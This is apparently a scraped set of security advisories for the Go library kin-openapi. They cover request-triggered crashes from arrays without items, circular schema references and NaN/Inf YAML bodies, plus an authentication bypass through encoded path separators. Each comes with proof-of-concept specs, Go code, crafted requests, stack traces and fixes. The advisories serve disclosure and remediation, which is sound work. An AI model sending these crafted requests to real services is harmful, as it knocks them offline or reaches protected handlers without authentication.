Where
-Infinity
0
Severity
7.5
Null Pointer Dereference
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

The fix for GHSA-p6wj-qrr4-pgh5 addressed a nil-pointer dereference that occurs when an OpenAPI 3.1 array schema omits the items keyword (which is legal under JSON Schema 2020-12). That fix patched three decoder paths: the standalone parseArray function, the top-level array check in UrlencodedBodyDecoder, and MultipartBodyDecoder.

Three additional crash paths were missed. All of them reach the unguarded urlValuesDecoder.parseArray method (openapi3filter/reqrespdecoder.go:576) or the unguarded array branch in buildResObj (line 1015):

1. Query parameters with type: array and no items. 2. deepObject query parameters containing an array property with no items. 3. URL-encoded request bodies where the array lives inside an allOf / anyOf / oneOf sub-schema. This path bypasses the guard added by the GHSA-p6wj-qrr4-pgh5 fix, because that guard only inspects top-level properties.

Each path is triggerable by an unauthenticated client and produces a deterministic nil-pointer panic during request validation.

Details Root Cause

The three paths patched for GHSA-p6wj-qrr4-pgh5 each received a nil-items guard:

go // standalone parseArray (line 1143) -- GUARDED func parseArray(raw []string, schemaRef openapi3.SchemaRef) ([]any, error) { if schemaRef.Value.Items == nil || schemaRef.Value.Items.Value == nil { ... }

// UrlencodedBodyDecoder top-level property loop (line 1441) -- GUARDED if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil { ... }

// MultipartBodyDecoder (line 1587) -- GUARDED if valueSchema.Value.Items == nil { ... }

But urlValuesDecoder.parseArray (line 576), which handles query-parameter and urlencoded-body array decoding, has no such guard:

go func (d urlValuesDecoder) parseArray(raw []string, schemaRef openapi3.SchemaRef) ([]any, error) { var value []any for i, v := range raw { item, err := d.parseValue(v, schemaRef.Value.Items) // Items is nil -> panic in parseValue

parseValue immediately dereferences the schema it is handed:

go func (d urlValuesDecoder) parseValue(v string, schema openapi3.SchemaRef) (any, error) { if len(schema.Value.AllOf) > 0 { // schema == nil here -> nil pointer dereference

For the deepObject path, buildResObj (line 1015) has the same gap. Its array branch recurses with schema.Value.Items (line 1028), which can be nil, and the recursive call dereferences it at line 1015:

go case schema.Value.Type.Is("array"): // ... for i := range arr { r, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items) // nil Items

For the allOf body path, UrlencodedBodyDecoder validates only top-level schema.Value.Properties (line 1429-1449). But decodeSchemaConstructs (line 1474) recursively walks AllOf / AnyOf / OneOf sub-schemas and calls decodeProperty on their properties, which never pass through the top-level guard and reach urlValuesDecoder.parseArray.

Proof of Concept

Environment

- kin-openapi v0.144.0 (cloned at tag v0.144.0, commit f0407d5) - Go 1.26.7 - Each PoC calls doc.Validate() first to prove the spec is legal, then drives openapi3filter.ValidateRequest directly

Path 1: Query parameter array without items

Spec (query param ids is type: array, no items), request GET /test?ids=1&ids=2:

Validate() ACCEPTED the spec (type: array with no items is legal under OAS 3.1) Calling ValidateRequest directly (no net/http recover)... panic: runtime error: invalid memory address or nil pointer dereference [signal 0xc0000005 code=0x0 addr=0x20 ...] github.com/getkin/kin-openapi/openapi3filter.(urlValuesDecoder).parseValue(...) reqrespdecoder.go:605 github.com/getkin/kin-openapi/openapi3filter.(urlValuesDecoder).parseArray(...) reqrespdecoder.go:580 github.com/getkin/kin-openapi/openapi3filter.(urlValuesDecoder).DecodeArray(...) reqrespdecoder.go:569 ... github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...) validaterequest.go:83 exit status 2

Path 2: deepObject nested array without items

Spec (deepObject param filter with array property tags, no items), request GET /test?filter[tags][0]=a:

Validate() ACCEPTED the spec Calling ValidateRequest directly... panic: runtime error: invalid memory address or nil pointer dereference github.com/getkin/kin-openapi/openapi3filter.buildResObj(...) reqrespdecoder.go:1012 github.com/getkin/kin-openapi/openapi3filter.buildResObj(...) <- recursive call with nil Items reqrespdecoder.go:1028 github.com/getkin/kin-openapi/openapi3filter.makeObject(...) reqrespdecoder.go:947 ... exit status 2

Path 3: URL-encoded body with array inside allOf (bypasses the existing fix)

Spec (urlencoded body, allOf sub-schema with array property tags, no items), request POST /submit body tags=a&tags=b:

Validate() ACCEPTED the spec Calling ValidateRequest directly... panic: runtime error: invalid memory address or nil pointer dereference github.com/getkin/kin-openapi/openapi3filter.(urlValuesDecoder).parseValue(...) reqrespdecoder.go:605 github.com/getkin/kin-openapi/openapi3filter.(urlValuesDecoder).parseArray(...) reqrespdecoder.go:580 github.com/getkin/kin-openapi/openapi3filter.(urlValuesDecoder).DecodeArray(...) reqrespdecoder.go:569 ... github.com/getkin/kin-openapi/openapi3filter.decodeProperty(...) <- reached via decodeSchemaConstructs (allOf walker) reqrespdecoder.go:1519 exit status 2

The decodeProperty frame confirms the array was reached by walking the allOf sub-schema, bypassing the top-level guard that the GHSA-p6wj-qrr4-pgh5 fix added.

Fix verification

Adding a single nil-items guard to urlValuesDecoder.parseArray (plus one to the buildResObj array branch) turns all three panics into clean validation errors:

poc1: Returned normally, err = parameter "ids" in query has an error: array items schema is required for decoding poc2: Returned normally, err = parameter "filter" in query has an error: path tags: array items schema is required poc3: Returned normally, err = <nil> (no panic; the allOf property is skipped by the decoder)

This confirms urlValuesDecoder.parseArray is the shared root cause for Paths 1 and 3, and buildResObj for Path 2.

Impact

An unauthenticated client can trigger a deterministic nil-pointer panic in request validation with a single crafted request, against any application that validates OAS 3.1 requests with openapi3filter where a spec declares an array without items.

The severity depends on the host:

| Deployment | Behavior | Availability impact | |------------|----------|---------------------| | Standard net/http server (validation runs in the handler goroutine) | net/http recovers the panic per-connection; the connection is dropped and the process survives | Per-request denial of service (A:L) | | Non-net/http hosts (e.g. fasthttp/connect adapters) or validation performed in an application-spawned goroutine | The panic is not recovered; the process crashes | Full-process denial of service (A:H) |

This was verified in both configurations: under a live net/http server the process survived (the panic was logged as http: panic serving ... and the process exited 0 at end of test), while the direct-call PoCs above crashed the process with exit status 2.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

kin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular $refs on purpose (to support recursive data structures), and Schema.validate() uses stack-based cycle detection. Validate() therefore accepts a schema whose allOf / anyOf / oneOf chain refers back to itself, returning no error.

The runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a fatal stack overflow (runtime: goroutine stack exceeds ... limit / fatal error: stack overflow), which is not a recoverable panic. recover() cannot catch it, so net/http's per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.

Two independent unguarded recursion sites were confirmed:

1. openapi3/schema.go — visitJSON / visitXOFOperations (reached by VisitJSON, i.e. response validation and direct schema validation). 2. openapi3filter/reqrespdecoder.go — decodeValue (reached first during request parameter decoding). The report also identifies the same gap in urlValuesDecoder.parseValue and buildResObj/buildFromSchemas.

Details Root Cause

Schema.validate() has cycle detection (openapi3/schema.go:1396):

go func (schema Schema) validate(ctx context.Context, stack []Schema) ([]Schema, error) { if slices.Contains(stack, schema) { return stack, nil } // ... stack = append(stack, schema)

The runtime visitor has none. visitJSON (line 1951) calls visitXOFOperations (line 2189), which iterates the combinator slice and calls visitJSON again on each sub-schema:

go func (schema Schema) visitXOFOperations(settings schemaValidationSettings, value any) (err error, run bool) { // ... for idx, item := range v { // v = schema.OneOf / AnyOf / AllOf v := item.Value // no check for item.Value == schema (or any ancestor) if err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle

The request-decoding path has the same structure in decodeValue (openapi3filter/reqrespdecoder.go:270):

go func decodeValue(dec valueDecoder, param string, sm openapi3.SerializationMethod, schema openapi3.SchemaRef, required bool) (any, bool, error) { if len(schema.Value.AllOf) > 0 { for , sr := range schema.Value.AllOf { value, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check

Proof of Concept

Environment

- kin-openapi v0.144.0 (tag v0.144.0, commit f0407d5) - Go 1.26.7

Path A: response / direct schema validation (VisitJSON)

A schema whose allOf refers to itself. Validate() is called first to show the schema is accepted, then VisitJSON():

go recursiveSchema := &openapi3.Schema{ Type: &openapi3.Types{"object"}, Properties: openapi3.Schemas{"name": {Value: &openapi3.Schema{Type: &openapi3.Types{"string"}}}}, } recursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular

= recursiveSchema.Validate(ctx) // accepted, no error = recursiveSchema.VisitJSON(map[string]any{"name": "test"}) // crashes

Output:

Validate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it Calling VisitJSON() -- expect fatal stack overflow (unrecoverable)... runtime: goroutine stack exceeds 1000000000-byte limit fatal error: stack overflow

goroutine 1 [running]: github.com/getkin/kin-openapi/openapi3.(Schema).visitJSON(...) openapi3/schema.go:1951 github.com/getkin/kin-openapi/openapi3.(Schema).visitXOFOperations(...) openapi3/schema.go:2309 github.com/getkin/kin-openapi/openapi3.(Schema).visitJSON(...) openapi3/schema.go:1981 github.com/getkin/kin-openapi/openapi3.(Schema).visitXOFOperations(...) openapi3/schema.go:2309 ... (repeats until stack overflow)

A defer recover() placed around the call did not catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable.

Path B: HTTP request validation against a loaded spec (realistic delivery)

A legal OAS 3.0 spec with a circular allOf $ref, loaded normally, served behind a standard net/http handler using openapi3filter.ValidateRequest:

yaml openapi: '3.0.0' info: { title: Circular allOf crash PoC, version: '1.0' } paths: /test: get: parameters: - name: data in: query schema: { $ref: '#/components/schemas/Recursive' } responses: { '200': { description: OK } } components: schemas: Recursive: type: object allOf: - $ref: '#/components/schemas/Recursive' properties: name: { type: string }

A single GET /test?data=x crashes the whole server process:

Validate() ACCEPTED the spec with circular allOf $ref Sending GET /test?data=x through a real net/http server... runtime: goroutine stack exceeds 1000000000-byte limit fatal error: stack overflow ... github.com/getkin/kin-openapi/openapi3filter.decodeValue(...) openapi3filter/reqrespdecoder.go:278 github.com/getkin/kin-openapi/openapi3filter.decodeValue(...) openapi3filter/reqrespdecoder.go:278 ... (repeats until stack overflow)

The line printed after the request ("the process survived") was never reached, and the process exited with a non-zero code — the standard net/http per-connection recover() did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.

Fix verification

Adding stack-based cycle detection to both sites (matching validate()'s pattern) eliminated the crash:

- visitJSON guard: VisitJSON() returned normally instead of crashing. - decodeValue guard: the same GET /test?data=x returned a clean 400:

Response: 400 "invalid: parameter \"data\" in query has an error: circular schema reference detected while decoding" If you see this line, the process survived.

Impact

An unrecoverable, whole-process denial of service. Because the crash is a fatal Go runtime error (not a panic), it cannot be contained by net/http's per-request recovery, so A:H applies to all host types, unlike a recoverable-panic bug.

Attack surface, in order of exposure:

- Applications that load OpenAPI specs from untrusted or semi-trusted sources (API gateways, spec linters/validators, mock servers, documentation generators). An attacker supplies a spec containing a circular combinator, and any subsequent request/response validation crashes the service. This is the primary remote-attacker scenario. - Applications serving a fixed, trusted spec that happens to contain a circular allOf/anyOf/oneOf. Here any client request to the affected endpoint crashes the process. The spec author does not need malicious intent; a degenerate recursive combinator is enough. This is a latent reliability bug that becomes remotely triggerable once present.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

kin-openapi guards against NaN and Inf values in its built-in schema visitor (visitJSON) by returning ErrSchemaInputNaN / ErrSchemaInputInf when a float64 input violates those constraints. For OAS 3.1 specs, however, Schema.VisitJSON routes through useJSONSchema2020, which hands the value directly to santhosh-tekuri/jsonschema/v6 v6.0.2 without applying the same guard.

Inside jsonschema/v6 v6.0.2, numValidate builds a big.Rat from the input via big.Rat.SetString(fmt.Sprintf("%v", v)). For NaN/Inf this parse fails silently and returns nil. numValidate then dereferences the nil big.Rat (in math/big.(Rat).Cmp), producing a Go runtime panic.

An attacker delivers this by sending an HTTP request with Content-Type: application/yaml (or application/x-yaml) and a YAML body containing .nan, .inf, or -.inf. The YamlBodyDecoder decodes those tokens into math.NaN() / math.Inf(±1) (standard YAML 1.2 behavior), and they propagate to the unguarded useJSONSchema2020 path whenever the schema declares a numeric constraint (minimum, maximum, exclusiveMinimum, exclusiveMaximum, or multipleOf).

Details Root Cause

The built-in visitor visitJSON at openapi3/schema.go:1968 guards NaN/Inf explicitly:

go case float64: if math.IsNaN(value) { return ErrSchemaInputNaN } if math.IsInf(value, 0) { return ErrSchemaInputInf }

For OAS 3.1 specs, VisitJSON dispatches to useJSONSchema2020 (openapi3/schemajsonschemavalidator.go:204), which contains no such guard:

go func (schema Schema) useJSONSchema2020(settings schemaValidationSettings, value any) error { validator, err := newJSONSchemaValidator(schema) if err != nil { return schema.visitJSON(settings, value) } return validator.validate(value) // value handed straight through }

jsonSchemaValidator.validate calls jsonschema/v6.Schema.Validate (line 146), which reaches numValidate in v6.0.2. There, big.Rat.SetString(fmt.Sprintf("%v", v)) returns (nil, false) for NaN/Inf, and the code dereferences the nil big.Rat in Rat.Cmp, causing the panic.

Proof of Concept

Environment

- kin-openapi v0.144.0 (tag v0.144.0, commit f0407d5) - santhosh-tekuri/jsonschema/v6 v6.0.2 (transitive dep) - Go 1.26.7

Spec

Minimal OAS 3.1 spec (spec.yaml) declaring a YAML body with a numeric constraint:

yaml openapi: '3.1.0' info: { title: Test, version: '1.0' } paths: /test: post: requestBody: required: true content: application/yaml: schema: type: number minimum: 0 responses: '200': { description: OK }

Trigger

A single POST /test with Content-Type: application/yaml and body .nan, .inf, or -.inf. All three variants panic:

=== RUN TestNaNInf [nan] PANIC (confirms vuln): runtime error: invalid memory address or nil pointer dereference [inf] PANIC (confirms vuln): runtime error: invalid memory address or nil pointer dereference [neginf] PANIC (confirms vuln): runtime error: invalid memory address or nil pointer dereference

Panic stack trace (confirms exact chain)

panic: runtime error: invalid memory address or nil pointer dereference

math/big.(Rat).Cmp(0x0, ...) <- nil big.Rat dereferenced C:/Program Files/Go/src/math/big/rat.go:492 github.com/santhosh-tekuri/jsonschema/v6.(validator).numValidate(...) .../jsonschema/v6@v6.0.2/validator.go:525 github.com/santhosh-tekuri/jsonschema/v6.(validator).validate(...) .../jsonschema/v6@v6.0.2/validator.go:168 github.com/santhosh-tekuri/jsonschema/v6.(Schema).validate(...) .../jsonschema/v6@v6.0.2/validator.go:34 github.com/getkin/kin-openapi/openapi3.(jsonSchemaValidator).validate(...) openapi3/schemajsonschemavalidator.go:146 github.com/getkin/kin-openapi/openapi3.(Schema).useJSONSchema2020(...) <- MISSING NaN/Inf guard openapi3/schemajsonschemavalidator.go:211 github.com/getkin/kin-openapi/openapi3.(Schema).VisitJSON(...) openapi3/schema.go:1946 github.com/getkin/kin-openapi/openapi3filter.ValidateRequestBody(...) openapi3filter/validaterequest.go:364 github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...) openapi3filter/validaterequest.go:96

net/http behavior (severity nuance)

Behind a standard net/http server, the panic is recovered per-connection. The client sees a dropped connection; the server process continues:

Sending POST /test body=.nan against real net/http server... 2026/08/25 http: panic serving 127.0.0.1:40625: runtime error: invalid memory address or nil pointer dereference CLIENT ERROR (connection dropped): Post ".../test": EOF Process still alive after request: true

This is a recoverable panic, unlike the recursion finding. recover() catches it (verified by capturing the panic value in a defer in the same goroutine). Non-net/http hosts or validation performed in an application-spawned goroutine are not covered by that recovery and would experience a full-process crash.

Fix verification

Upgrading only the transitive dependency to jsonschema/v6@v6.0.3 (via go get github.com/santhosh-tekuri/jsonschema/v6@v6.0.3) eliminates the panic entirely; all three payloads return a clean validation error:

[nan] Returned normally, err = request body has an error: doesn't match schema: validation failed due to: at '': invalid jsonType float64 [inf] Returned normally, err = request body has an error: doesn't match schema: validation failed due to: at '': invalid jsonType float64 [neginf] Returned normally, err = request body has an error: doesn't match schema: validation failed due to: at '': invalid jsonType float64

This confirms the upstream jsonschema/v6 v6.0.3 release treats the NaN/Inf case as a bug and fixes it at the source. It also confirms useJSONSchema2020 is the reachable path: patching only the transitive dep removes the panic without touching kin-openapi code.

Why This Is a Vulnerability, Not by Design

- The library explicitly refuses NaN/Inf in its own visitor (ErrSchemaInputNaN / ErrSchemaInputInf at schema.go:1968). The stated policy is: these values are not allowed. - The OAS 3.1 dispatch (useJSONSchema2020) simply omits the same guard — a coding gap, not a design decision. - Upstream jsonschema/v6 v6.0.3 fixes the same case as a bug. Two independent code owners agree it should not panic. - The trigger is a single HTTP request body an unauthenticated client can send. There is no legitimate content-authoring reason to submit .nan / .inf as a numeric field.

Impact

- Per-request denial of service (net/http hosts). Every crafted request kills its own connection with zero attacker cost. Sustained flooding degrades service reliability and log noise. - Full-process denial of service (non-net/http hosts or goroutine-spawned validation). No net/http recovery wrapper is present; the whole process crashes on a single request. - Attack surface is any OAS 3.1 API that accepts YAML bodies with numeric constraints. These constraints (minimum, maximum, exclusiveMinimum, exclusiveMaximum, multipleOf) are common on any numeric field with a range.

1 / 2
Source: GitHub
First published (updated )
Severity
7.4
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

openapi3filter.ValidationHandler.Middleware validates requests with kin-openapi's legacy router, which selects an OpenAPI operation from the decoded URL.Path. The method is documented as implementing gorilla/mux.MiddlewareFunc, but a downstream gorilla/mux router configured with UseEncodedPath() selects its handler from the encoded representation (URL.RawPath).

An unauthenticated request such as /public%2Fstatus can therefore be validated as an intentionally public operation (/public/status) and then dispatched to a protected operation (/{id}). The configured, rejecting AuthenticationFunc is never invoked, and the protected downstream handler runs.

This is distinct from GHSA-r277-6w6q-xmqw. The behavior below uses an explicit authentication callback that rejects missing credentials and remains reproducible after the v0.144.0 fix for the unsafe default callback.

Affected products

- Product: github.com/getkin/kin-openapi - Component: openapi3filter.ValidationHandler.Middleware - Confirmed post-GHSA affected releases: v0.144.0, v0.145.0, and v0.146.0 - Reporter attestation: each listed release was checked out separately, the attached single-file test was copied into openapi3filter/, and that test passed; maintainers should independently confirm the version range - Confirmed affected development revision: d33e44e67734dcde81b576582185e1343fb3985d - v0.143.0 also reproduces this mechanism, but GHSA-r277-6w6q-xmqw already provides a simpler bypass on that release; the distinct post-fix claim starts at v0.144.0 - Earlier releases: not tested; please treat the introduction boundary as unknown

Security impact

An unauthenticated remote requester can reach a handler whose OpenAPI operation requires authentication when all of the following are true:

1. the application uses ValidationHandler.Middleware as the security gate; 2. the downstream router preserves and interprets an encoded path, such as gorilla/mux with UseEncodedPath(); 3. a public exact route and a protected parameterized route overlap after decoding; 4. the public and protected operations expose the same HTTP method; 5. the protected handler relies on the validation layer's security decision.

The protected operation's path-parameter value is constrained: it is an encoded representation that decodes to a public literal path (public%2Fstatus in this PoC), not an arbitrary attacker-selected identifier. A protected operation without a compatible parameterized path is not reachable through this specific mechanism.

- Primitive: the security decision is made for a different OpenAPI operation than the operation dispatched by the application router. - Demonstrated impact: a protected handler executes while the explicitly rejecting AuthenticationFunc is never invoked. - Impact ceiling: confidentiality or integrity loss when the reachable protected handler has that authority; the PoC does not demonstrate data disclosure or state modification. - Availability impact: not demonstrated.

Root cause

At the confirmed development revision:

- openapi3filter/validationhandler.go: ValidationHandler.Load constructs routers/legacy.NewRouter unconditionally. - routers/legacy/router.go: route selection uses the decoded request path. - routers/gorillamux/router.go: the kin-openapi gorilla router constructs a gorilla/mux router with UseEncodedPath(). - ValidationHandler.Middleware forwards the unchanged request after validation.

The component making the authentication decision and the component dispatching the handler can therefore disagree about the selected operation.

Reproduction

The attached PoC uses a real net/http server, an explicit API-key callback that rejects missing credentials, and a downstream gorilla/mux router with UseEncodedPath().

From a kin-openapi checkout, copy the self-contained attachment encodedpathrouteconfusiontest.go.txt into openapi3filter/ as encodedpathrouteconfusiontest.go, then run:

sh go test -v ./openapi3filter -run '^TestEncodedPathAuthorizationBypass$' -count=1

Expected attack observation:

text status=202 downstreamroute=/{id} protectedid=public%2Fstatus authenticationcalls=0 wiring=Router.Use status=202 downstreamroute=/{id} protectedid=public%2Fstatus authenticationcalls=0

Controls included in the test show that:

- /ordinary selects the protected operation, invokes authentication once, and is rejected with HTTP 401; - /public/status reaches only the intentionally public handler; - the encoded request reaches the protected /{id} handler with HTTP 202 while the authentication callback remains uncalled; - both external wrapping and the documented router.Use(validationHandler.Middleware) wiring reproduce the same result.

Reverse-proxy reachability

The same request was reproduced through Nginx 1.31.3 using the official nginx:alpine image digest sha256:4a73073bd557c65b759505da037898b61f1be6cbcc3c2c3aeac22d2a470c1752.

The exact container invocation was:

sh docker run --rm --name kin-openapi-nginx \ --add-host=host.docker.internal:host-gateway \ -p 18081:8080 -p 18082:8081 \ -v "$PWD/poc/nginx.conf:/etc/nginx/nginx.conf:ro" \ nginx:alpine

Container port 8080 uses proxypass http://host.docker.internal:18080; without a replacement URI. Host port 18081 therefore preserved /public%2Fstatus; the protected handler returned HTTP 202 and the authentication callback remained at zero calls. With proxypass http://host.docker.internal:18080/; on container port 8081 / host port 18082, Nginx canonicalized the upstream URI; both layers selected /public/status and the bypass did not occur.

Nginx access-log observations:

text serverport=8080 "GET /public%2Fstatus HTTP/1.1" 202 0 "curl/8.7.1" serverport=8081 "GET /public%2Fstatus HTTP/1.1" 204 0 "curl/8.7.1" serverport=8080 "GET /ordinary HTTP/1.1" 401 0 "curl/8.7.1"

The response route headers were X-Poc-Route: /{id} on the preserving listener and X-Poc-Route: /public/status on the canonicalizing listener. Backend observations for the two requests were:

text requesturi="/public%2Fstatus" path="/public/status" rawpath="/public%2Fstatus" authbefore=0 completed requesturi="/public%2Fstatus" authafter=0 requesturi="/public/status" path="/public/status" rawpath="" authbefore=0 completed requesturi="/public/status" authafter=0

This control shows that upstream path handling is a deployment precondition rather than claiming that every proxy configuration is affected.

The canonical protected control produced:

text requesturi="/ordinary" path="/ordinary" rawpath="" authbefore=0 completed requesturi="/ordinary" authafter=1

Suggested remediation

The authentication layer and downstream dispatcher must select the same OpenAPI operation from the same request representation.

Potential approaches:

1. make ValidationHandler accept a caller-supplied routers.Router and require it to match downstream routing semantics; 2. document that NewValidator already accepts a router but is safe only when the supplied router selects operations using the same semantics as the dispatcher; callers must also supply an AuthenticationFunc through ValidationOptions, or protected requests fail with the existing missing-authentication-service error; 3. as an interim hardening option, make ValidationHandler fail closed on an encoded path separator when URL.Path and URL.RawPath can select different operations, and verify this behavior against the full suite; 4. document the route-identity requirement and add encoded-separator regression tests.

Replacing the legacy router with the kin-openapi gorilla router closes this PoC, but a local compatibility check changed two existing missing-path-parameter tests from HTTP 400 semantics to route-not-found HTTP 404 semantics. A direct router swap is therefore not a fully validated drop-in fix.

Public-reference triage

The public advisory list and related path-encoding reports reviewed on 2026-08-18 did not describe this authentication-boundary crossing. Relevant nearby reports include issues #397, #1089, and #1105 and PR #400. This search is not proof of novelty; please deduplicate against private reports.

Credit

Preferred credit: Satoru Kanno (GMO CONNECT Inc., GMO Internet Group, Inc.)

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
Null Pointer Dereference, SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

kin-openapi is a Go project for handling OpenAPI files. Prior to 0.145.0, openapi3.Loader can dereference a nil SchemaRef.Value while resolving a self-referential additionalProperties JSON Reference such as a schema that points to its own additionalProperties member. Loading an attacker-controlled OpenAPI document through LoadFromData, LoadFromFile, or LoadFromURI reaches resolveComponent before document validation and can panic the loading process. Resolved additionalProperties schemas and ordinary recursive schemas do not take the vulnerable nil-value path. This issue is fixed in version 0.145.0.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
Null Pointer Dereference
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

A nil-pointer dereference in openapi3filter lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI 3.1 operation that declares type: array without items. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting items, and doc.Validate() accepts such schemas with Schema.Items == nil. Request/response decoders then dereference Items with no nil check. The panic is deterministic (100%) on every request to the affected operation. There is no recover() in openapi3filter; under handlers without per-request recover the process can exit.

Details

Spec-validation asymmetry. OpenAPI 3.0 rejects array schemas that omit items (openapi3/schema.go around the TypeArray / newSchemaItemsRequired branch). For OpenAPI 3.1, T.Validate enables jsonSchema2020ValidationEnabled, so that check is skipped and Schema.Items remains nil after a clean doc.Validate().

Vulnerable decoder. The primary request-side crash is in UrlencodedBodyDecoder (still present on this checkout at L1421):

go case propType.Is("array"): items := propSchema.Value.Items.Value // Items == nil → panic

This runs during schema inspection before form values are parsed. Any non-empty application/x-www-form-urlencoded body for the operation reaches the dereference (an empty body is rejected earlier when requestBody.required is true, and never enters the decoder).

The same nil Items also crashes:

| Path | Location | Trigger | |---|---|---| | MultipartBodyDecoder | reqrespdecoder.go ~1564 → 1579 | multipart/form-data part named like the array property | | parseArray → parsePrimitive | reqrespdecoder.go ~1129 / 1151 | Array-typed response headers via ValidateResponse, and path/cookie array params |

Middleware / ValidationHandler call ValidateRequest / ValidateResponse directly with no recover, so the panic escapes the library into the application.

Recommended fix. Guard nil Items and return a structured decode/validation error, e.g.:

diff case propType.Is("array"): + if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil { + return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName) + } items := propSchema.Value.Items.Value

Apply equivalent guards in MultipartBodyDecoder and parseArray before calling parsePrimitive.

PoC

Verified against revision c11a4812ba7be3ee3d81453be0c397ee84c238d5, Go 1.25, darwin/arm64.

1. Spec — OpenAPI 3.1 operation with urlencoded body and type: array property without items:

yaml openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok}

2. E2E program — net/http server using the same public entrypoint (gorillamux → openapi3filter.ValidateRequest) real middleware uses. Save as main.go in a module that depends on github.com/getkin/kin-openapi at a vulnerable revision, then go run .:

go package main

import ( "fmt" "log" "net/http" "strings"

"github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" )

const spec = openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok}

func main() { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(spec)) if err != nil { log.Fatal(err) } if err := doc.Validate(loader.Context); err != nil { log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err) } fmt.Println("SPECACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value. Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items)

router, err := gorillamux.NewRouter(doc) if err != nil { log.Fatal(err) }

// Direct call (no net/http recover): proves the library itself panics. req, := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a")) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pp, := router.FindRoute(req) func() { defer func() { if r := recover(); r != nil { fmt.Printf("DIRECTPANIC: %v\n", r) } }() = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pp, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) fmt.Println("DIRECTPANIC: none (unexpected)") }()

mux := http.NewServeMux() mux.HandleFunc("/f", func(w http.ResponseWriter, r http.Request) { route, pathParams, err := router.FindRoute(r) if err != nil { http.Error(w, err.Error(), http.StatusNotFound) return } err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } w.WriteHeader(http.StatusOK) , = w.Write([]byte("ok\n")) })

addr := "127.0.0.1:8085" fmt.Printf("listening on http://%s/f\n", addr) fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f") log.Fatal(http.ListenAndServe(addr, mux)) }

3. Observed output (go run .):

SPECACCEPTED; Items == <nil> DIRECTPANIC: runtime error: invalid memory address or nil pointer dereference listening on http://127.0.0.1:8085/f

Then:

curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f

Server log:

http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference … openapi3filter.UrlencodedBodyDecoder …/reqrespdecoder.go:1421 … openapi3filter.ValidateRequest …

Stack pins the fault to UrlencodedBodyDecoder at reqrespdecoder.go:1421, called from ValidateRequest → ValidateRequestBody → decodeBody.

Attack request:

POST /f HTTP/1.1 Host: victim Content-Type: application/x-www-form-urlencoded

tags=a

(Any non-empty body is enough; form content is irrelevant because Items is dereferenced during schema inspection before parsing.)

4. Regression / multi-surface test suite — save as e.g. openapi3filter/arrayitemsnilpanictest.go in a checkout of the module and run go test -run TestArrayItemsNilPanic ./openapi3filter/ -v:

go package openapi3filtertest

import ( "bytes" "context" "fmt" "io" "mime/multipart" "net/http" "net/http/httptest" "strings" "testing"

"github.com/stretchr/testify/require"

"github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" )

const urlencodedSpec31 = openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok}

const urlencodedSpec30 = openapi: 3.0.3 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok}

const multipartSpec31 = openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /upload: post: requestBody: required: true content: multipart/form-data: schema: type: object properties: tags: {type: array} responses: '200': {description: ok}

